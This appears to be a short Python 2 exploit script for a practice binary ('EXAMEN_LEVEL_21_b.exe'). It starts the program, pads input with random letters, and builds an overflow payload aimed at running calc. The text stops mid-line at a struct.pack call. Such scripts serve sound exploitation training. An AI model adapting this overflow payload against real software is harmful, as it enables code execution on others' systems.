import struct import random, string from os import popen4 def randomword(length): return ''.join(random.choice(string.letters) for i in range(length)) stdin,stdout = popen4(r"C:\Users\ricnar\Desktop\21\EXAMEN_LEVEL_21_b.exe") print stdin a=randomword(1000-203) print a cadena = "1024" + "\n"+ "calc\x00"+ (20-5)* "W"+struct.pack("